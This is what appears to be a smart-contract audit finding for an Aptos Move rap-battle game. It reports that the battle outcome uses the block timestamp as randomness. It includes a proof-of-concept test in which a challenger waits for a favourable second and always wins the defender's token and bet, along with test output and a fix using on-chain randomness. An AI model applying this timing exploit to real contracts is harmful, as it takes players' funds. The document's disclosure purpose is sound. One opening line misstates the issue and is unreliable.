rap_battle::go_on_stage_or_battle() uses block timestamp for psuedo random number generation + A challenger can exploit the psuedo randomness of rap_battle::go_on_stage_or_battle()
Description
-
The random number generator used in rap_battle::go_on_stage_or_battle()
should be dependent on the block timestamp.
-
rap_battle::go_on_stage_or_battle()
uses block timestamp for psuedo random number generation.
-
A challenger can exploit the psuedo randomness of rap_battle::go_on_stage_or_battle()
by submitting a transaction at a certain time in their favour.
public entry fun go_on_stage_or_battle(
player: &signer,
rapper_token: Object<Token>,
bet_amount: u64
) acquires BattleArena {
let player_addr = signer::address_of(player);
let arena = borrow_global_mut<BattleArena>(@battle_addr);
if (arena.defender == @0x0) {
assert!(arena.defender_bet == 0, E_BATTLE_ARENA_OCCUPIED);
arena.defender = player_addr;
arena.defender_bet = bet_amount;
let token_id = object::object_address(&rapper_token);
arena.defender_token_id = token_id;
let first_bet = coin::withdraw<cred_token::CRED>(player, bet_amount);
coin::merge(&mut arena.prize_pool, first_bet);
one_shot::transfer_record_only(token_id, player_addr, @battle_addr);
object::transfer(player, rapper_token, @battle_addr);
event::emit(OnStage {
defender: player_addr,
token_id,
cred_bet: bet_amount,
});
} else {
assert!(arena.defender_bet == bet_amount, E_BETS_DO_NOT_MATCH);
let defender_addr = arena.defender;
let chall_addr = player_addr;
let chall_token_id = object::object_address(&rapper_token);
one_shot::transfer_record_only(chall_token_id, chall_addr, @battle_addr);
object::transfer(player, rapper_token, @battle_addr);
let chall_coins = coin::withdraw<cred_token::CRED>(player, bet_amount);
coin::merge(&mut arena.prize_pool, chall_coins);
let defender_skill = one_shot::skill_of(arena.defender_token_id);
let challenger_skill = one_shot::skill_of(chall_token_id);
let total_skill = defender_skill + challenger_skill;
@> let rnd = timestamp::now_seconds() % (if (total_skill == 0) { 1 } else { total_skill });
let winner = if (rnd < defender_skill) { defender_addr } else { chall_addr };
event::emit(Battle {
challenger: chall_addr,
challenger_token_id: chall_token_id,
winner,
});
let pool = coin::extract_all(&mut arena.prize_pool);
if (winner == defender_addr) {
coin::deposit(defender_addr, pool);
one_shot::increment_wins(arena.defender_token_id);
one_shot::transfer_record_only(arena.defender_token_id, @battle_addr, defender_addr);
one_shot::transfer_record_only(chall_token_id, @battle_addr, defender_addr);
} else {
coin::deposit(chall_addr, pool);
one_shot::increment_wins(chall_token_id);
one_shot::transfer_record_only(arena.defender_token_id, @battle_addr, chall_addr);
one_shot::transfer_record_only(chall_token_id, @battle_addr, chall_addr);
};
arena.defender = @0x0;
arena.defender_bet = 0;
arena.defender_token_id = @0x0;
}
}
Risk
Likelihood:
-
A challenger can calculate both the skill of the defender and themselves in advance.
-
The challenger thenn waits until the block time modulo the total_skill
is more than or equal to the defender skill.
-
At this time, the challenger calls rap_battle::go_on_stage_or_battle()
.
Impact:
-
The challenger can always win the battle when calling rap_battle::go_on_stage_or_battle()
.
-
The defender will always lose both their Rapper token and betted CRED coins to a malicious challenger who can match the defender's bet amount.
Proof of Concept
Add this test_init_module()
wrapper function to cred_token.move
so that we can call the init_module()
function from our unit tests.
#[test_only]
public fun test_init_module(sender: &signer) {
init_module(sender);
}
Add the functions mint_rapper_fixed()
and get_token_ids()
to one_shot.move
so that players can retrieve their rapper token_id
for unit testing.
#[test_only]
public entry fun mint_rapper_fixed(module_owner: &signer, to: &signer)
acquires Collection, RapperStats, TokenIDs {
let owner_addr = signer::address_of(module_owner);
assert!(owner_addr == @battle_addr, 1 );
if (!exists<Collection>(@battle_addr)) {
init_module(module_owner);
};
if (!exists<RapperStats>(@battle_addr)) {
let stats_table = table::new<address, StatsData>();
let owner_table = table::new<address, u64>();
move_to(module_owner, RapperStats { stats: stats_table, owner_counts: owner_table });
};
let _ = borrow_global<Collection>(@battle_addr);
let tok_ref = token::create(
module_owner,
string::utf8(COLLECTION_NAME),
string::utf8(b"A new rapper enters the scene."),
string::utf8(b"Rapper"),
option::none(),
string::utf8(b""),
);
let token_obj = object::object_from_constructor_ref<token::Token>(&tok_ref);
let token_id = object::address_from_constructor_ref(&tok_ref);
let to_address = signer::address_of(to);
let stats_res = borrow_global_mut<RapperStats>(@battle_addr);
table::add(&mut stats_res.stats, token_id, StatsData {
owner: to_address,
weak_knees: true,
heavy_arms: true,
spaghetti_sweater: true,
calm_and_ready: false,
battles_won: 0,
});
if (table::contains(&stats_res.owner_counts, to_address)) {
let cnt = table::borrow_mut(&mut stats_res.owner_counts, to_address);
*cnt = *cnt + 1;
} else {
table::add(&mut stats_res.owner_counts, to_address, 1);
};
event::emit(MintRapperEvent { minter: to_address, token_id });
object::transfer(module_owner, token_obj, to_address);
if (exists<TokenIDs>(to_address)) {
let token_ids = borrow_global_mut<TokenIDs>(to_address);
vector::push_back(&mut token_ids.ids, token_id);
} else {
let v = vector::empty<address>();
vector::push_back(&mut v, token_id);
let token_ids = TokenIDs{
ids: v
};
move_to(to,token_ids);
};
}
#[test_only]
#[view]
public fun get_token_ids(player_address: address): vector<address> acquires TokenIDs {
assert!(exists<TokenIDs>(player_address), E_NO_TOKEN_IDS);
let token_ids = borrow_global<TokenIDs>(player_address);
token_ids.ids
}
Add this test_init_module()
wrapper function to rap_battle.move
so that we can call the init_module()
function from our unit tests.
#[test_only]
public fun test_init_module(sender: &signer) {
init_module(sender);
}
Create an additional tests/rap_battle_exploit_randomness.move
file containing:
#[test_only]
module battle_addr::rap_battle_exploit_randomness {
use std::signer;
use aptos_framework::account;
use aptos_framework::object;
use battle_addr::cred_token::{Self as cred_token};
use battle_addr::one_shot::{Self as one_shot};
use battle_addr::streets::{Self as streets};
use battle_addr::rap_battle::{Self as rap_battle};
use aptos_framework::timestamp;
use aptos_token_v2::token::{Self as token};
use std::string;
use std::debug;
use std::vector;
use aptos_framework::coin;
fun p<T>(s: &T) {
debug::print(s);
}
fun p_vector_u8(s: vector<u8>) {
p(&string::utf8(s));
}
fun p_vector_address(s: &vector<address>) {
debug::print(s);
}
const SECS_PER_DAY: u64 = 86400;
#[test(player1 = @0x100, framework = @0x1, player2 = @0x101)]
#[lint::allow_unsafe_randomness]
public fun test_rap_battle_exploit_randomness (
player1: &signer,
player2: &signer,
framework: &signer
) {
let (burn_cap, mint_cap) = aptos_framework::aptos_coin::initialize_for_test(framework);
timestamp::set_time_has_started_for_testing(framework);
let player1_address = signer::address_of(player1);
let player2_address = signer::address_of(player2);
let module_owner = account::create_account_for_test(@battle_addr);
account::create_account_for_test(player1_address);
account::create_account_for_test(player2_address);
let player1_address = signer::address_of(player1);
let player2_address = signer::address_of(player2);
cred_token::test_init_module(&module_owner);
rap_battle::test_init_module(&module_owner);
one_shot::mint_rapper_fixed(&module_owner, player1);
one_shot::mint_rapper_fixed(&module_owner, player2);
let balance1 = one_shot::balance_of(player1_address);
assert!(balance1 == 1, 1);
let balance2 = one_shot::balance_of(player2_address);
assert!(balance2 == 1, 1);
let player1_rapper_ids = one_shot::get_token_ids(player1_address);
p_vector_u8(b"player1_rapper_ids");
p_vector_address(&player1_rapper_ids);
let player1_token_id0 = vector::borrow(&player1_rapper_ids, 0);
p_vector_u8(b"player1_token_id0");
p(player1_token_id0);
let player1_token_object0 =
object::address_to_object<token::Token>(*player1_token_id0);
p_vector_u8(b"player1_token_object0");
p(&player1_token_object0);
let player2_rapper_ids = one_shot::get_token_ids(player2_address);
p_vector_u8(b"player2_rapper_ids");
p_vector_address(&player2_rapper_ids);
let player2_token_id0 = vector::borrow(&player2_rapper_ids, 0);
p_vector_u8(b"player2_token_id0");
p(player2_token_id0);
let player2_token_object0 =
object::address_to_object<token::Token>(*player2_token_id0);
p_vector_u8(b"player2_token_object0");
p(&player2_token_object0);
let now_secs = timestamp::now_seconds();
p_vector_u8(b"before staking now_secs");
p(&now_secs);
streets::stake(player1, player1_token_object0);
streets::stake(player2, player2_token_object0);
timestamp::fast_forward_seconds(4*SECS_PER_DAY);
let now_secs = timestamp::now_seconds();
p_vector_u8(b"after staking now_secs");
p(&now_secs);
streets::unstake(player1, &module_owner, player1_token_object0);
streets::unstake(player2, &module_owner, player2_token_object0);
let player1_token_id0_skill = one_shot::public_skill_of(*player1_token_id0);
p_vector_u8(b"player1_token_id0_skill");
p(&player1_token_id0_skill);
assert!(player1_token_id0_skill == 75, 2);
let player1_cred = coin::balance<cred_token::CRED>(player1_address);
p_vector_u8(b"player1_cred");
p(&player1_cred);
assert!(player1_cred == 4, 3);
let player2_token_id0_skill = one_shot::public_skill_of(*player2_token_id0);
p_vector_u8(b"player2_token_id0_skill");
p(&player2_token_id0_skill);
assert!(player2_token_id0_skill == 75, 2);
let player2_cred = coin::balance<cred_token::CRED>(player2_address);
p_vector_u8(b"player2_cred");
p(&player2_cred);
assert!(player2_cred == 4, 3);
let total_skill = player1_token_id0_skill + player2_token_id0_skill;
p_vector_u8(b"total skill");
p(&total_skill);
assert!(total_skill == 150, 2);
rap_battle::go_on_stage_or_battle(
player1,
player1_token_object0,
player1_cred
);
* Player 2 will win if the timestamp modulo is more than or equal to the defender_skill = 75
* Player 2 waits another 75 secs so "rnd" will tip in their favor
*/
timestamp::fast_forward_seconds(75);
rap_battle::go_on_stage_or_battle(
player2,
player2_token_object0,
player2_cred
);
p_vector_u8(b"");
p_vector_u8(b"After battle");
player1_cred = coin::balance<cred_token::CRED>(player1_address);
p_vector_u8(b"player1_cred");
p(&player1_cred);
assert!(player1_cred == 0, 3);
player2_cred = coin::balance<cred_token::CRED>(player2_address);
p_vector_u8(b"player2_cred");
p(&player2_cred);
assert!(player2_cred == 8, 3);
balance1 = one_shot::balance_of(player1_address);
p_vector_u8(b"balance1");
p(&balance1);
assert!(balance1 == 0, 1);
balance2 = one_shot::balance_of(player2_address);
p_vector_u8(b"balance2");
p(&balance2);
assert!(balance2 == 2, 1);
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}
}
Please see the comments on lines 144 to 146 for the exploit explanation.
Run with:
aptos move test --filter test_rap_battle_exploit_randomness
Output:
Running Move unit tests
[debug] "init_module()"
[debug] "player1_rapper_ids"
[debug] [ @0xe46a3c36283330c97668b5d4693766b8626420a5701c18eb64026075c3ec8a0a ]
[debug] "player1_token_id0"
[debug] @0xe46a3c36283330c97668b5d4693766b8626420a5701c18eb64026075c3ec8a0a
[debug] "player1_token_object0"
[debug] 0x1::object::Object<0x4::token::Token> {
inner: @0xe46a3c36283330c97668b5d4693766b8626420a5701c18eb64026075c3ec8a0a
}
[debug] "player2_rapper_ids"
[debug] [ @0xfab16b00983f01e5c2b7682472a4f4c3e5929fbba987958570b6290c02817df2 ]
[debug] "player2_token_id0"
[debug] @0xfab16b00983f01e5c2b7682472a4f4c3e5929fbba987958570b6290c02817df2
[debug] "player2_token_object0"
[debug] 0x1::object::Object<0x4::token::Token> {
inner: @0xfab16b00983f01e5c2b7682472a4f4c3e5929fbba987958570b6290c02817df2
}
[debug] "before staking now_secs"
[debug] 0
[debug] "after staking now_secs"
[debug] 345600
[debug] "player1_token_id0_skill"
[debug] 75
[debug] "player1_cred"
[debug] 4
[debug] "player2_token_id0_skill"
[debug] 75
[debug] "player2_cred"
[debug] 4
[debug] "total skill"
[debug] 150
[debug] ""
[debug] "After battle"
[debug] "player1_cred"
[debug] 0
[debug] "player2_cred"
[debug] 8
[debug] "balance1"
[debug] 0
[debug] "balance2"
[debug] 2
[ PASS ] 0x42::rap_battle_exploit_randomness::test_rap_battle_exploit_randomness
Test result: OK. Total tests: 1; passed: 1; failed: 0
{
"Result": "Success"
}
Recommended Mitigation
+ use aptos_framework::randomness;
+ #[lint::allow_unsafe_randomness]
public entry fun go_on_stage_or_battle(
player: &signer,
rapper_token: Object<Token>,
bet_amount: u64
) acquires BattleArena {
let player_addr = signer::address_of(player);
let arena = borrow_global_mut<BattleArena>(@battle_addr);
if (arena.defender == @0x0) {
assert!(arena.defender_bet == 0, E_BATTLE_ARENA_OCCUPIED);
arena.defender = player_addr;
arena.defender_bet = bet_amount;
let token_id = object::object_address(&rapper_token);
arena.defender_token_id = token_id;
let first_bet = coin::withdraw<cred_token::CRED>(player, bet_amount);
coin::merge(&mut arena.prize_pool, first_bet);
one_shot::transfer_record_only(token_id, player_addr, @battle_addr);
object::transfer(player, rapper_token, @battle_addr);
event::emit(OnStage {
defender: player_addr,
token_id,
cred_bet: bet_amount,
});
} else {
assert!(arena.defender_bet == bet_amount, E_BETS_DO_NOT_MATCH);
let defender_addr = arena.defender;
let chall_addr = player_addr;
let chall_token_id = object::object_address(&rapper_token);
one_shot::transfer_record_only(chall_token_id, chall_addr, @battle_addr);
object::transfer(player, rapper_token, @battle_addr);
let chall_coins = coin::withdraw<cred_token::CRED>(player, bet_amount);
coin::merge(&mut arena.prize_pool, chall_coins);
let defender_skill = one_shot::skill_of(arena.defender_token_id);
let challenger_skill = one_shot::skill_of(chall_token_id);
let total_skill = defender_skill + challenger_skill;
- let rnd = timestamp::now_seconds() % (if (total_skill == 0) { 1 } else { total_skill });
+ // random number in the range [0, total_skill)
+ let rnd = randomness::u64_range(0u64, total_skill);
let winner = if (rnd < defender_skill) { defender_addr } else { chall_addr };
event::emit(Battle {
challenger: chall_addr,
challenger_token_id: chall_token_id,
winner,
});
let pool = coin::extract_all(&mut arena.prize_pool);
if (winner == defender_addr) {
coin::deposit(defender_addr, pool);
one_shot::increment_wins(arena.defender_token_id);
one_shot::transfer_record_only(arena.defender_token_id, @battle_addr, defender_addr);
one_shot::transfer_record_only(chall_token_id, @battle_addr, defender_addr);
} else {
coin::deposit(chall_addr, pool);
one_shot::increment_wins(chall_token_id);
one_shot::transfer_record_only(arena.defender_token_id, @battle_addr, chall_addr);
one_shot::transfer_record_only(chall_token_id, @battle_addr, chall_addr);
};
arena.defender = @0x0;
arena.defender_bet = 0;
arena.defender_token_id = @0x0;
}
}